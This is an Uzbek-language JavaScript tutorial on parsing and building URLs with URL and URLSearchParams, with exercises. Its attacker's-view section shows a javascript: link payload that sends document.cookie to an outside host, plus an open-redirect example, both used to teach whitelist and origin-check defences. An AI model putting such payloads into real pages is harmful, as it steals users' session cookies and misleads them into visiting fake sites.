Mundarija (37)
- Bu darsda
- 1. Nega bu kerak?
- 2. URL obyekti
- 2.1 Manzilni qismlarga ajratish
- 2.2 URL manzilni tozalaydi
- 2.3 Qismni o'zgartirish
- 2.4 Brauzerdagi tayyor manzillar
- 3. Nisbiy manzil va asos (base)
- 3.1 Ikkinchi argument
- 3.2 Oxiridagi / tuzog'i
- 4. Noto'g'ri manzil
- 4.1 TypeError: Invalid URL
- 4.2 URL.canParse va URL.parse
- 5. URLSearchParams: so'rov parametrlari
- 5.1 O'qish
- 5.2 O'zgartirish
- 5.3 Yaratish va aylanib chiqish
- 5.4 Qachon URL, qachon faqat URLSearchParams
- 6. Kodlash: encodeURIComponent, encodeURI va +
- 6.1 Uch xil vosita
- 6.2 + tuzog'i
- 7. Amalda: mashq API'ga so'rov
- Hujumchi nigohi
- 8. Ko'p uchraydigan xatolar
- 8.1 Manzilni + bilan yig'ish
- 8.2 Asos manzil oxirida / yo'q
- 8.3 Parametrni son deb o'ylash
- 8.4 decodeURIComponent bilan formadan kelgan matnni o'qish
- 8.5 Foydalanuvchi manzilini tekshirmasdan ishlatish
- 9. Mashqlar
- 1-mashq (oson): Manzil kartochkasi
- 2-mashq (o'rta): Bo'sh qiymatlarsiz manzil
- 3-mashq (qiyin): Kuzatuv parametrlarini tozalash
- 4-mashq: Vazifalar qadami — filtr URL'dan o'qiladi
- 10. Real ishda
- Xulosa
- Manbalar
JavaScript URL va URLSearchParams: manzilni xatosiz o'qish va yig'ish
Qisqacha:
new URL("https://ilmhamroh.uz/api/mashq/menyu?turkum=taom")manzilni obyektga aylantiradi:url.hostname,url.pathname,url.searchParams.get("turkum")— har qism alohida. Parametr qo'shish —url.searchParams.set("sahifa", 2): maxsus belgilarni (&, bo'sh joy,') u o'zi kodlaydi. Manzilni satrlarni+bilan yopishtirib yig'mang —URLvaURLSearchParamsbu ishni xatosiz qiladi. Noto'g'ri manzilTypeErrorberadi; oldindan tekshirish —URL.canParse().
Bu darsda
URLobyekti bilan manzilning hamma qismini o'qiysiz va o'zgartirasiz.- Nisbiy manzilni asos (base) bilan to'liq manzilga aylantirasiz va oxiridagi
/tuzog'ini bilasiz. URLSearchParamsbilan so'rov parametrlarini o'qiysiz, qo'shasiz, o'chirasiz va aylanib chiqasiz.encodeURIComponent,encodeURIvaURLSearchParamskodlashi farqini tushuntira olasiz.- Foydalanuvchi bergan manzilni
URL.canParse/URL.parsebilan tekshirasiz va xavfli manzillarni to'sasiz.
Oldin bilishingiz kerak: URL anatomiyasi, fetch asoslari, FormData, try / catch / finally.
1. Nega bu kerak?
Sardor «Bahor» menyusi uchun qidiruv yozyapti. Mehmon turkum va so'z tanlaydi, kod esa mashq API'ga so'rov yuboradi. Birinchi urinish:
const turkum = "ichimlik";
const soz = "Ko'k choy & non";
const asos = "https://ilmhamroh.uz/api/mashq/menyu";
const manzil = asos + "?turkum=" + turkum + "&q=" + soz;
console.log(manzil);Konsolda:
https://ilmhamroh.uz/api/mashq/menyu?turkum=ichimlik&q=Ko'k choy & nonKo'zga to'g'ri ko'rinadi. Lekin server buni qanday o'qiydi? & — parametrlarni ajratuvchi belgi. Server q ni "Ko'k choy " deb oladi, " non" esa qiymatsiz alohida parametr bo'lib qoladi. URL anatomiyasi darsida xuddi shu muammoni ko'rib, "set & ni o'zi %26 qiladi, buni keyin to'liq o'rganamiz" degan edik.
Qo'lda yig'ilgan manzil — eng ko'p uchraydigan mayda xatolardan biri. Bugun manzilni obyekt sifatida o'qish va yig'ishni o'rganamiz. Xuddi pochta konvertidagi kabi: shahar, ko'cha, uy — har biri o'z katagida. Bitta uzun satrda "qayeri ko'cha, qayeri uy?" deb taxmin qilish shart emas.
2. URL obyekti
2.1 Manzilni qismlarga ajratish
URL — manzilni tahlil qilib, uning har qismini xususiyat sifatida beradigan global klass. U brauzerda ham, Node'da ham bor va bir xil ishlaydi. Sababi — ikkalasi ham bitta qoidalar to'plamiga amal qiladi: WHATWG URL standarti (WHATWG — brauzer ishlab chiqaruvchilarining umumiy guruhi).
const url = new URL(
"https://ilmhamroh.uz:443/api/mashq/menyu" +
"?turkum=taom&sahifa=2#natija",
);
console.log(url.href);
console.log(url.protocol); // https:
console.log(url.hostname); // ilmhamroh.uz
console.log(url.port === ""); // true
console.log(url.pathname); // /api/mashq/menyu
console.log(url.search); // ?turkum=taom&sahifa=2
console.log(url.hash); // #natija
console.log(url.origin); // https://ilmhamroh.uzKonsolda:
https://ilmhamroh.uz/api/mashq/menyu?turkum=taom&sahifa=2#natija
https:
ilmhamroh.uz
true
/api/mashq/menyu
?turkum=taom&sahifa=2
#natija
https://ilmhamroh.uzQismlar va ularning nomi:
flowchart LR
H["href — butun manzil"] --> P["protocol<br/>https:"]
H --> HO["host<br/>ilmhamroh.uz"]
H --> PA["pathname<br/>/api/mashq/menyu"]
H --> S["search<br/>?turkum=taom&sahifa=2"]
H --> HA["hash<br/>#natija"]
HO --> O["origin = protocol + host"]
P --> ONimaga qarang: origin — alohida qism emas, protokol va host'dan yig'iladi. Origin darsidagi "sxema + host + port" aynan shu.
E'tibor bering: :443 yo'qoldi va port bo'sh satr. HTTPS uchun 443 — standart port, va URL uni yozmaydi. Port standart bo'lmasa (:5500), port — "5500" va u host ga ham qo'shiladi: host — 127.0.0.1:5500, hostname — faqat 127.0.0.1.
2.2 URL manzilni tozalaydi
URL manzilni standart shaklga keltiradi — buni normallashtirish deyishadi. Xuddi telefon raqamini "+998 90 000 00 00" ko'rinishiga keltirish kabi: yozilishi har xil, ma'nosi bitta.
const url = new URL("HTTPS://Example.COM/taomlar/../menyu?q=a b");
console.log(url.href); // https://example.com/menyu?q=a%20bProtokol va host kichik harfga o'tdi, taomlar/../ qisqardi, bo'sh joy esa %20 bo'ldi. Ikki xil yozilgan bir manzilni solishtirishdan oldin ikkalasini new URL(...).href dan o'tkazish — ishonchli usul.
2.3 Qismni o'zgartirish
Xususiyatlar faqat o'qish uchun emas — ularga yozsa ham bo'ladi va href o'zi yangilanadi:
const url = new URL("https://ilmhamroh.uz/api/mashq/menyu?q=osh");
url.pathname = "/api/mashq/menyu/3";
url.search = "";
url.hash = "tafsilot";
console.log(url.href);
console.log(String(url) === url.href); // trueKonsolda:
https://ilmhamroh.uz/api/mashq/menyu/3#tafsilot
trueString(url) (yoki shablon satrdagi ${url}) — href bilan bir xil. So'rov yuborishda fetch ga satr o'rniga URL obyektining o'zini ham berish mumkin: fetch(url).
URL obyektini JSON'ga ham to'g'ridan-to'g'ri berish mumkin — uning toJSON metodi bor va u href ni qaytaradi:
const url = new URL("https://ilmhamroh.uz/api/mashq/menyu/2");
console.log(JSON.stringify({ manzil: url }));Konsolda:
{"manzil":"https://ilmhamroh.uz/api/mashq/menyu/2"}Bu JSON chuqur darsidagi toJSON qoidasi: stringify obyektning o'zini emas, toJSON() natijasini yozadi. Manzilni localStorage ga saqlaganda ham shunday satr tushadi; o'qiganda uni yana new URL(...) dan o'tkazasiz.
2.4 Brauzerdagi tayyor manzillar
Brauzerda URL ga o'xshash obyektlar allaqachon bor — ularni qayta yasash shart emas:
location— joriy sahifaning manzili. Unda hamhref,pathname,search,hash,originbor. FaqatsearchParamsyo'q:new URLSearchParams(location.search)yokinew URL(location.href).searchParams. To'liq — keyingi darsda.<a>elementi —havola.hostname,havola.pathname,havola.searchkabi xususiyatlarga ega. Muhim farq:havola.href— to'liq (yechilgan) manzil,havola.getAttribute("href")esa HTML'da yozilganidek, nisbiy holicha. Atributlar va xususiyatlar darsidagi "atribut va xususiyat har xil" qoidasi shu yerda ham.document.baseURI— nisbiy manzillar qaysi asosga nisbatan yechilishi. Odatda u sahifa manzili bilan bir xil.
Shuning uchun "havola boshqa saytgami?" savoli brauzerda bir qator: havola.origin !== location.origin. Keyingi darsdagi router aynan shu tekshiruvdan foydalanadi.
Yana bitta yaqin qarindosh — URL.createObjectURL(fayl). U kompyuterdagi faylga vaqtinchalik blob: manzil beradi, masalan rasmni yuklashdan oldin ko'rsatish uchun. Uni Faylni o'qish va oldindan ko'rish darsida ishlatamiz — hozir bilish shart emas.
Tekshirib ko'ring:
new URL("http://127.0.0.1:5500/index.html")uchunhostvahostnamenima?
Javob
host — 127.0.0.1:5500, hostname — 127.0.0.1. Port standart emas (HTTP uchun standart — 80), shuning uchun u host ga kiradi. Xususiyat hostname esa doim portsiz.
3. Nisbiy manzil va asos (base)
3.1 Ikkinchi argument
URL anatomiyasi darsida nisbiy manzillarni ko'rgan edik: menyu.html, /menyu, ../rasm.png. Ular qaysi sahifada turganiga qarab har xil to'liq manzilga aylanadi. Konstruktorning ikkinchi argumenti — aynan shu "qayerda turibmiz" (asos, base):
const asos = "https://ilmhamroh.uz/api/mashq/";
console.log(new URL("menyu", asos).href);
console.log(new URL("/menyu", asos).href);
console.log(new URL("menyu?sahifa=2", asos).href);
console.log(new URL("../holat/404", asos + "menyu").href);
console.log(new URL("//example.com/x", asos).href);Konsolda:
https://ilmhamroh.uz/api/mashq/menyu
https://ilmhamroh.uz/menyu
https://ilmhamroh.uz/api/mashq/menyu?sahifa=2
https://ilmhamroh.uz/api/holat/404
https://example.com/xmenyu— asosning papkasiga qo'shildi./menyu—/bilan boshlangan: host'ning ildizidan.../— bir papka yuqoriga:menyuning papkasi/api/mashq/, undan yuqorisi/api/.//example.com/x— protokolsiz, lekin host bilan: butunlay boshqa sayt! Foydalanuvchi bergan "nisbiy" manzilga ishonmaslik sababi shu (bu haqda "Hujumchi nigohi" da).
Brauzerda asos ko'pincha joriy sahifa: new URL("menyu", location.href). Joriy sahifa manzili (location) — keyingi darsda.
3.2 Oxiridagi / tuzog'i
Shu ikki qatorning farqiga qarang:
console.log(new URL("menyu", "https://ilmhamroh.uz/api/mashq").href);
console.log(new URL("menyu", "https://ilmhamroh.uz/api/mashq/").href);Konsolda:
https://ilmhamroh.uz/api/menyu
https://ilmhamroh.uz/api/mashq/menyuOxirida / bo'lmasa, mashq fayl deb tushuniladi va almashtiriladi — xuddi index.html yonidagi menyu.html kabi. Oxirida / bo'lsa — papka va menyu uning ichiga kiradi.
API klientda asos manzilni (asosiyUrl) saqlaganda — doim oxirida / bilan saqlang yoki new URL(...) o'rniga yo'llarni o'zingiz qo'shing. API klient qatlami darsida asosiyUrl bilan ishlagansiz — xatoni topish qiyin bo'lgan 404'larning bir qismi aynan shu / dan.
4. Noto'g'ri manzil
4.1 TypeError: Invalid URL
URL nisbiy manzilni asossiz qabul qilmaydi va xato tashlaydi:
new URL("ilmhamroh.uz/menyu");TypeError: Invalid URLNode'da xato obyektida yana ikki xususiyat bor: code — ERR_INVALID_URL, input — ilmhamroh.uz/menyu. Chrome'da xabar biroz boshqacha: Failed to construct 'URL': Invalid URL ("URL ni yasab bo'lmadi: noto'g'ri URL"). Nega ilmhamroh.uz/menyu noto'g'ri? Unda protokol yo'q — URL uchun bu nisbiy yo'l, asos esa berilmagan.
Foydalanuvchi kiritgan matnni URL ga berganda xato doim mumkin. Eski usul — try/catch:
function manzilmi(matn) {
try {
new URL(matn);
return true;
} catch {
return false;
}
}
console.log(manzilmi("https://example.com")); // true
console.log(manzilmi("example.com")); // false4.2 URL.canParse va URL.parse
Yangi brauzerlarda buning uchun tayyor statik metodlar bor:
console.log(URL.canParse("example.com")); // false
console.log(URL.canParse("menyu", "https://ilmhamroh.uz")); // true
const url = URL.parse("https://example.com/menyu?id=3");
console.log(url.searchParams.get("id")); // 3
console.log(URL.parse("::")); // nullURL.canParse(manzil, asos?)—trueyokifalse. Faqat tekshiradi.URL.parse(manzil, asos?)— tayyorURLobyekti, noto'g'ri bo'lsa — xato o'rniganull.
web-features ma'lumotiga ko'ra: URL.canParse — Baseline, keng tarqalgan (2023-12 dan hamma asosiy brauzerlarda: Chrome 120, Firefox 115, Safari 17). Metod URL.parse esa — Baseline 2024 (Chrome 126, Firefox 126, Safari 18). Node 24 da ikkalasi ham bor. Eski brauzerlarni qo'llash kerak bo'lsa — try/catch varianti.
Tekshirib ko'ring:
URL.canParse("tel:+998900000000")nima qaytaradi?
Javob
true. tel: — to'g'ri protokol (telefon havolasi). URL faqat sintaksisni tekshiradi, "bu veb-sahifami" degan savolga javob bermaydi. Faqat http/https kerak bo'lsa — url.protocol ni alohida tekshiring.
5. URLSearchParams: so'rov parametrlari
5.1 O'qish
URLSearchParams — manzilning ? dan keyingi qismini "kalit — qiymat" ro'yxati sifatida boshqaradigan obyekt. Har URL da u tayyor turadi: url.searchParams. Mustaqil ham yaratsa bo'ladi:
const p = new URLSearchParams("?taom=osh&taom=manti&soni=2");
console.log(p.get("taom")); // osh
console.log(p.getAll("taom")); // [ 'osh', 'manti' ]
console.log(p.get("yoq")); // null
console.log(p.has("soni")); // true
console.log(p.size); // 3
console.log(p.get("soni") + 1); // 21get(nom)— birinchi qiymat yokinull.getAll(nom)— bir nomdagi hamma qiymat (massiv). URL'da bir nom bir necha marta kelishi mumkin.has(nom),size— bormi va nechta juftlik.- Oxirgi qatorga qarang: qiymatlar doim satr. Ya'ni
"2" + 1—"21". XuddilocalStoragedagi kabi: son kerak bo'lsa —Number(...).
Boshidagi ? ni o'zi tashlab yuboradi — location.search ni to'g'ridan-to'g'ri bersangiz ham bo'ladi.
5.2 O'zgartirish
const url = new URL("https://ilmhamroh.uz/api/mashq/menyu");
const p = url.searchParams;
p.set("turkum", "taom");
p.set("sahifa", 2);
p.append("hajm", "2");
console.log(url.href);
p.set("sahifa", 1);
p.delete("hajm");
console.log(url.search); // ?turkum=taom&sahifa=1Konsolda:
https://ilmhamroh.uz/api/mashq/menyu?turkum=taom&sahifa=2&hajm=2
?turkum=taom&sahifa=1set(nom, qiymat)— bor bo'lsa almashtiradi (hammasini bitta qiymatga), yo'q bo'lsa qo'shadi.append(nom, qiymat)— har doim qo'shadi (takroriy nom ham).delete(nom)— shu nomdagi hammasini o'chiradi.
url.searchParams va url bog'langan: parametr o'zgarsa, url.href ham darhol o'zgaradi. Son (2) satrga aylandi — URL'da hamma narsa matn.
Qadamma-qadam ko'ring — har qatordan keyin parametrlar qanday o'zgaradi:
5.3 Yaratish va aylanib chiqish
URLSearchParams ni to'rt xil manbadan yasash mumkin — satr, obyekt, juftliklar massivi yoki forma:
const obyektdan = new URLSearchParams({ turkum: "taom", sahifa: 2 });
console.log(obyektdan.toString()); // turkum=taom&sahifa=2
const juftlar = [["taom", "osh"], ["taom", "manti"]];
const juftlardan = new URLSearchParams(juftlar);
console.log(String(juftlardan)); // taom=osh&taom=manti
for (const [nom, qiymat] of new URLSearchParams("b=2&a=1")) {
console.log(nom, qiymat);
}
const tartibli = new URLSearchParams("b=2&a=1&c=0");
tartibli.sort();
console.log(String(tartibli)); // a=1&b=2&c=0
console.log(Object.fromEntries(new URLSearchParams("a=1&a=2&b=3")));Konsolda:
turkum=taom&sahifa=2
taom=osh&taom=manti
b 2
a 1
a=1&b=2&c=0
{ a: '2', b: '3' }Ikki ogohlantirish:
- Obyektdan yasaganda
undefinedqiymat"undefined"satri bo'lib ketadi:{ bor: undefined }→bor=undefined. Bo'sh qiymatlarni oldindan olib tashlang (2-mashq). Object.fromEntriestakroriy nomlarning oxirgisini qoldiradi —a=1yo'qoldi. Takroriy nomlar bo'lishi mumkin bo'lsa,getAllishlating.
Brauzerda formadan to'g'ridan-to'g'ri ham yasaladi: new URLSearchParams(new FormData(forma)). Buni FormData darsida ko'rgan edik — endi qolgan metodlarni ham bilasiz. Metod sort() esa parametrlarni nom bo'yicha tartiblaydi. Nega kerak? ?a=1&b=2 va ?b=2&a=1 — bir xil so'rov, lekin satr sifatida har xil. Tartiblangandan keyin ikkalasi bitta satrga aylanadi — masalan, javoblarni shu satr bo'yicha keshlasangiz.
5.4 Qachon URL, qachon faqat URLSearchParams
Ikkalasi ham kerak, lekin vazifasi har xil:
- Butun manzil bilan ishlasangiz (host, yo'l va parametrlar birga) —
URL, parametrlar esa uningsearchParamsida. Asosiy holat shu. - Faqat parametrlar kerak bo'lsa — mustaqil
URLSearchParams. Masalan,location.searchni o'qish yoki formaniapplication/x-www-form-urlencodedko'rinishida yuborish.
Ikkinchisini fetch bilan ma'lumot yuborish darsida ko'rgansiz: body: new URLSearchParams({ ism: "Dilshod aka", soni: 4 }). Bunda fetch Content-Type sarlavhasini o'zi qo'yadi — application/x-www-form-urlencoded;charset=UTF-8. Tana esa xuddi URL parametrlari kabi kodlanadi: ism=Dilshod+aka&soni=4.
Bitta ehtiyot chorasi: url.search ga to'g'ridan-to'g'ri satr yozsangiz, searchParams ham yangilanadi — ular bog'langan. Lekin satrni qo'lda yig'ib yozish yana "Nega bu kerak?" bo'limidagi xatoga olib keladi. Shuning uchun url.search ga faqat ikki narsa yoziladi: bo'sh satr (hammasini tozalash) yoki tayyor URLSearchParams dan olingan satr.
Tekshirib ko'ring:
const p = new URLSearchParams("taom=osh"); p.set("taom", "manti"); p.append("taom", "somsa");—p.getAll("taom")nima?
Javob
["manti", "somsa"]. set mavjud osh ni manti bilan almashtirdi, append esa yonida yana bittasini qo'shdi. get("taom") esa faqat birinchisini — "manti" ni beradi.
6. Kodlash: encodeURIComponent, encodeURI va +
6.1 Uch xil vosita
URL anatomiyasi darsida percent-encoding'ni ko'rgan edik: maxsus belgi % va ikki belgili kodga aylanadi. JavaScript'da buning uch yo'li bor:
const matn = "Ko'k choy & non";
console.log(encodeURIComponent(matn));
console.log(encodeURI("https://example.com/menyu?q=" + matn));
console.log(new URLSearchParams({ q: matn }).toString());Konsolda:
Ko'k%20choy%20%26%20non
https://example.com/menyu?q=Ko'k%20choy%20&%20non
q=Ko%27k+choy+%26+non| Vosita | Nima uchun | &, ?, / |
Bo'sh joy |
|---|---|---|---|
encodeURIComponent |
Bitta qism (qiymat, yo'l bo'lagi) | kodlanadi | %20 |
encodeURI |
Butun manzil | kodlanmaydi | %20 |
URLSearchParams |
So'rov parametrlari | kodlanadi | + |
Ikkinchi qatordagi xatoga qarang: encodeURI & ni tegmasdan qoldirdi — u butun manzil "allaqachon to'g'ri tuzilgan" deb hisoblaydi. Shuning uchun u bitta qiymatni kodlashga yaramaydi va amalda kam ishlatiladi. Qiymat — encodeURIComponent yoki URLSearchParams.
6.2 + tuzog'i
URLSearchParams bo'sh joyni + qiladi — HTML formalari shunday yuboradi. Teskari yo'lda esa vositalar har xil:
console.log(decodeURIComponent("Ko%27k+choy")); // Ko'k+choy
const parametr = new URLSearchParams("q=Ko%27k+choy");
console.log(parametr.get("q")); // Ko'k choydecodeURIComponent + ni bo'sh joy deb bilmaydi. Qoida sodda: qaysi vosita bilan kodlagan bo'lsangiz, o'shaning jufti bilan o'qing. Parametrlar uchun — doim URLSearchParams.
Tekshirib ko'ring:
new URLSearchParams("q=Ko'k choy & non").get("q")nima qaytaradi?
Javob
"Ko'k choy " — oxirida bo'sh joy bilan. Satr kodlanmagan, shuning uchun & ajratuvchi deb o'qildi va " non" alohida parametr bo'lib qoldi. "Nega bu kerak?" bo'limidagi serverda bo'lgan voqea aynan shu.
7. Amalda: mashq API'ga so'rov
Endi «Nega bu kerak?» dagi qidiruvni to'g'ri yozamiz va «Bahor» mashq API'siga haqiqiy so'rov yuboramiz:
function menyuManzili(sozlama) {
const url = new URL("https://ilmhamroh.uz/api/mashq/menyu");
for (const [nom, qiymat] of Object.entries(sozlama)) {
url.searchParams.set(nom, qiymat);
}
return url;
}
const url = menyuManzili({ turkum: "taom", sahifa: 2, hajm: 2 });
console.log(url.href);
const javob = await fetch(url);
const malumot = await javob.json();
console.log(malumot.elementlar.map((t) => t.nom), malumot.jami);Konsolda:
https://ilmhamroh.uz/api/mashq/menyu?turkum=taom&sahifa=2&hajm=2
[ 'Manti' ] 3fetch ga URL obyektining o'zi berildi. Server 3 ta taomni ikkitadan sahifalab, ikkinchi sahifada Manti ni qaytardi. Qiymatlarda & yoki ' bo'lsa ham, kod buzilmaydi — kodlashni searchParams qiladi.
Hujumchi nigohi
1-hujum — javascript: havola. Profil sahifasida mehmon o'z saytini yozadi va u havola bo'lib chiqadi. Hujumchi javascript:fetch("https://example.com/?c="+document.cookie) yozadi. Kimdir bossa — kod sizning saytingizda ishlaydi. Konstruktor URL buni "to'g'ri manzil" deb qabul qiladi: protokoli javascript:. Himoya: protokolni oq ro'yxat bilan tekshiring:
function xavfsizHavola(matn) {
const url = URL.parse(matn);
if (url === null) {
return null;
}
return ["https:", "http:"].includes(url.protocol) ? url.href : null;
}
console.log(xavfsizHavola("https://example.com/menyu"));
console.log(xavfsizHavola("JavaScript:alert(1)")); // null
console.log(xavfsizHavola("example.com")); // nullKonsolda:
https://example.com/menyu
null
nullURL protokolni kichik harfga keltiradi — JavaScript: ham javascript: bo'lib tekshiriladi. Satrni startsWith("javascript") bilan qo'lda tekshirish esa bunday hiylalarni (katta harf, boshidagi bo'sh joy) o'tkazib yuboradi. XSS'ning boshqa yo'llari — XSS va DOM xavfsizligi darsida.
2-hujum — ochiq yo'naltirish (open redirect). Kirish sahifasi ?keyin=/bronlar parametrini oladi va kirgandan keyin o'sha yerga yuboradi. Hujumchi ?keyin=//example.com/soxta-kirish havolasini tarqatadi. Havola sizning domeningizda — odamlar ishonadi. Kirgandan keyin esa ular soxta saytga tushadi. Himoya: manzilni joriy sahifaga nisbatan yechib, origin ni solishtiring:
function ichkiManzil(keyin, joriy) {
const url = URL.parse(keyin, joriy);
if (url === null || url.origin !== new URL(joriy).origin) {
return "/";
}
return url.pathname + url.search + url.hash;
}
const joriy = "https://ilmhamroh.uz/kirish";
console.log(ichkiManzil("/bronlar?sana=bugun", joriy));
console.log(ichkiManzil("//example.com/soxta-kirish", joriy));
console.log(ichkiManzil("https://example.com", joriy));Konsolda:
/bronlar?sana=bugun
/
///example.com/... — "nisbiy"ga o'xshaydi, lekin URL uni boshqa host deb to'g'ri yechdi va origin farq qildi. Brauzerda joriy o'rniga location.href qo'yiladi.
8. Ko'p uchraydigan xatolar
8.1 Manzilni + bilan yig'ish
"...?q=" + soz — &, #, +, bo'sh joy bo'lsa manzil buziladi. Tuzatish: url.searchParams.set("q", soz).
8.2 Asos manzil oxirida / yo'q
new URL("menyu", "https://.../api/mashq") — mashq yo'qoladi. Tuzatish: asos papka bo'lsa — oxirida /.
8.3 Parametrni son deb o'ylash
searchParams.get("sahifa") + 1 — "21". Tuzatish: Number(...) va Number.isInteger bilan tekshirish; noto'g'ri bo'lsa — standart qiymat.
8.4 decodeURIComponent bilan formadan kelgan matnni o'qish
+ bo'sh joyga aylanmaydi. Tuzatish: parametrlar — URLSearchParams bilan o'qiladi.
8.5 Foydalanuvchi manzilini tekshirmasdan ishlatish
new URL(matn) xato tashlaydi, javascript: esa xatosiz o'tadi. Tuzatish: URL.parse + protokolni oq ro'yxat bilan tekshirish.
9. Mashqlar
1-mashq (oson): Manzil kartochkasi
manzilniTahlilQil(matn) funksiyasi {host, yol, parametrlar} obyektini qaytarsin: parametrlar — oddiy obyekt. Noto'g'ri manzil uchun — null. Sinov: "https://ilmhamroh.uz/api/mashq/menyu?turkum=taom&sahifa=1".
Yechim
function manzilniTahlilQil(matn) {
const url = URL.parse(matn);
if (url === null) {
return null;
}
return {
host: url.host,
yol: url.pathname,
parametrlar: Object.fromEntries(url.searchParams),
};
}
console.log(manzilniTahlilQil(
"https://ilmhamroh.uz/api/mashq/menyu?turkum=taom&sahifa=1",
));
console.log(manzilniTahlilQil("ilmhamroh.uz")); // nullKonsolda:
{
host: 'ilmhamroh.uz',
yol: '/api/mashq/menyu',
parametrlar: { turkum: 'taom', sahifa: '1' }
}
nullObject.fromEntries(url.searchParams) — searchParams ni to'g'ridan-to'g'ri bersa bo'ladi: u [nom, qiymat] juftlarini beradigan iterable (Iteratsiya protokoli). sahifa — '1', satr.
2-mashq (o'rta): Bo'sh qiymatlarsiz manzil
menyuManzili ni yaxshilang: undefined, null yoki "" qiymatli parametrlar URL'ga tushmasin, massiv qiymat esa ({ taom: ["osh", "manti"] }) har biri alohida append qilinsin. Sinov: { turkum: "taom", q: "", sahifa: undefined, taom: ["osh", "manti"] }.
Yechim
function menyuManzili(sozlama) {
const url = new URL("https://ilmhamroh.uz/api/mashq/menyu");
for (const [nom, qiymat] of Object.entries(sozlama)) {
if (qiymat === undefined || qiymat === null || qiymat === "") {
continue;
}
if (Array.isArray(qiymat)) {
qiymat.forEach((q) => url.searchParams.append(nom, q));
} else {
url.searchParams.set(nom, qiymat);
}
}
return url.href;
}
console.log(menyuManzili({
turkum: "taom", q: "", sahifa: undefined, taom: ["osh", "manti"],
}));Konsolda:
https://ilmhamroh.uz/api/mashq/menyu?turkum=taom&taom=osh&taom=manti0 va false ataylab o'tkazib yuborilmaydi — ular ma'noli qiymat (sahifa=0, issiq=false). Shuning uchun if (!qiymat) emas, uchta aniq tekshiruv.
3-mashq (qiyin): Kuzatuv parametrlarini tozalash
Telegram va Instagram'dan kelgan havolalarda ko'pincha utm_source, utm_medium, fbclid kabi kuzatuv parametrlari bo'ladi. Sizning havolaniTozala(matn) funksiyangiz utm_ bilan boshlanadigan va fbclid parametrlarini olib tashlasin, qolganini nom bo'yicha tartiblasin va hash ni saqlasin. Ishora: aylanayotgan to'plamdan o'chirish xavfli — avval o'chiriladigan nomlarni massivga yig'ing.
Yechim
function havolaniTozala(matn) {
const url = new URL(matn);
const ortiqcha = [...url.searchParams.keys()].filter(
(nom) => nom.startsWith("utm_") || nom === "fbclid",
);
for (const nom of ortiqcha) {
url.searchParams.delete(nom);
}
url.searchParams.sort();
return url.href;
}
console.log(havolaniTozala(
"https://example.com/menyu?utm_source=telegram&turkum=taom" +
"&fbclid=abc&sahifa=2&utm_medium=post#osh",
));
console.log(havolaniTozala("https://example.com/?utm_source=x"));Konsolda:
https://example.com/menyu?sahifa=2&turkum=taom#osh
https://example.com/Hamma parametr o'chsa, ? ham o'zi yo'qoladi — qo'lda kesib tashlash shart emas. Metod keys() iterator qaytaradi, [...] uni massivga aylantiradi (Iteratsiya protokoli) — shundan keyin o'chirish aylanishga xalaqit bermaydi.
Faylni kurs/mashqlar/11/29-url/tozala.mjs ga saqlang:
git add 11/29-url/tozala.mjs
git commit -m "11/29: kuzatuv parametrlarini tozalash"4-mashq: Vazifalar qadami — filtr URL'dan o'qiladi
Hozir vazifalar da filtr faqat xotirada: "Faol" ni tanlab, sahifani yangilasangiz — yana "Hammasi". Do'stingizga "mana bajarilganlarim" deb havola ham yubora olmaysiz. Ikki darsda filtrni URL'ga ko'chiramiz: https://login.github.io/vazifalar/?filtr=faol. Bugun — o'qish qismi.
- Yangi branch:
git switch -c feature/url-filtr. - Yangi modul
assets/js/marshrut.jsva undafiltrniOl():?filtr=parametrini o'qisin. Qiymathammasi,faolyokibajarilganbo'lsa — o'sha, aks holda (?filtr=xyz, parametr yo'q) —"hammasi". asosiy.js— ishga tushishdaholat.filtr = filtrniOl()va undan keyinrender().index.html—marshrut.jsuchunmodulepreload.
Ishora: funksiyaga ixtiyoriy parametr bering — filtrniOl(manzil = location.href). Brauzerda argumentsiz chaqiriladi, Node'da esa istalgan manzil bilan sinash mumkin (Parametrlar va default qiymatlar).
Yechim
assets/js/marshrut.js:
// marshrut.js — filtr holati URL'da: ?filtr=faol
const FILTRLAR = ["hammasi", "faol", "bajarilgan"];
export function filtrniOl(manzil = location.href) {
const filtr = new URL(manzil).searchParams.get("filtr");
return FILTRLAR.includes(filtr) ? filtr : "hammasi";
}
const sayt = "https://login.github.io/vazifalar/";
console.log(filtrniOl(sayt + "?filtr=faol")); // faol
console.log(filtrniOl(sayt + "?filtr=constructor")); // hammasi
console.log(filtrniOl(sayt)); // hammasiOxirgi to'rt qator — faqat sinov uchun; faylga ularni yozmang. Standart qiymat (location.href) faqat argument berilmaganda hisoblanadi — shuning uchun Node'da (u yerda location yo'q) argument bilan chaqirish xato bermaydi.
Nega oq ro'yxat? URL — foydalanuvchi qo'li bilan o'zgartiradigan joy. Masalan, ?filtr=constructor ni tekshiruvsiz holat.filtr ga qo'ysak, boshMatnlar[holat.filtr] obyektning meros metodini qaytaradi va sahifa buziladi. Xuddi shu sababli asosiy.js dagi filtrniTanla ham Object.hasOwn bilan tekshirardi.
assets/js/asosiy.js — import va ishga tushirish:
import { filtrniOl } from "./marshrut.js";
// ...
// Ishga tushirish
holat.filtr = filtrniOl();
holat.vazifalar.obuna(saqlaVaChiz);
render();marshrut.js hech narsani import qilmaydi — u faqat URL bilan ishlaydi. Grafikda u asosiy.js ning yangi "barg"i: aylana import yo'q.
Sinash (Live Server): http://127.0.0.1:5500/?filtr=bajarilgan ni oching — "Bajarilgan" tugmasi bosilgan holatda (aria-pressed="true") va ro'yxatda faqat bajarilganlar. ?filtr=xyz — "Hammasi". Filtr tugmasini bossangiz, URL hali o'zgarmaydi — buni keyingi darsda history.pushState bilan qilamiz. Shuning uchun branch'ni hozircha birlashtirmang:
git add assets/js/marshrut.js assets/js/asosiy.js index.html
git commit -m "Filtr: boshlang'ich filtrni URL'dan o'qi"10. Real ishda
- API klientlar. Axios'da
params: { turkum: "taom" }yozasiz — ichida aynanURLSearchParamsishlaydi (Axios). O'zfetcho'ramlaringizda ham manzil faqatURLbilan yig'iladi. - Filtr va qidiruv sahifalari. Uzum Market, OLX kabi saytlarda narx, turkum va saralash URL'da turadi (
?narx_dan=...&saralash=...). Shuning uchun natijani havola bilan ulashish mumkin. React dunyosida buning uchunuseSearchParamskabi vositalar bor — 17-qismda. - Xavfsizlik ko'rigi.
javascript:havola va ochiq yo'naltirish — veb-ilovalar auditida (OWASP ro'yxatlarida) muntazam topiladigan xatolar. - Intervyu. "
encodeURIvaencodeURIComponentfarqi?", "Query string'ni qanday parse qilasiz?" — ko'p beriladi; javob —URLvaURLSearchParams.
Xulosa
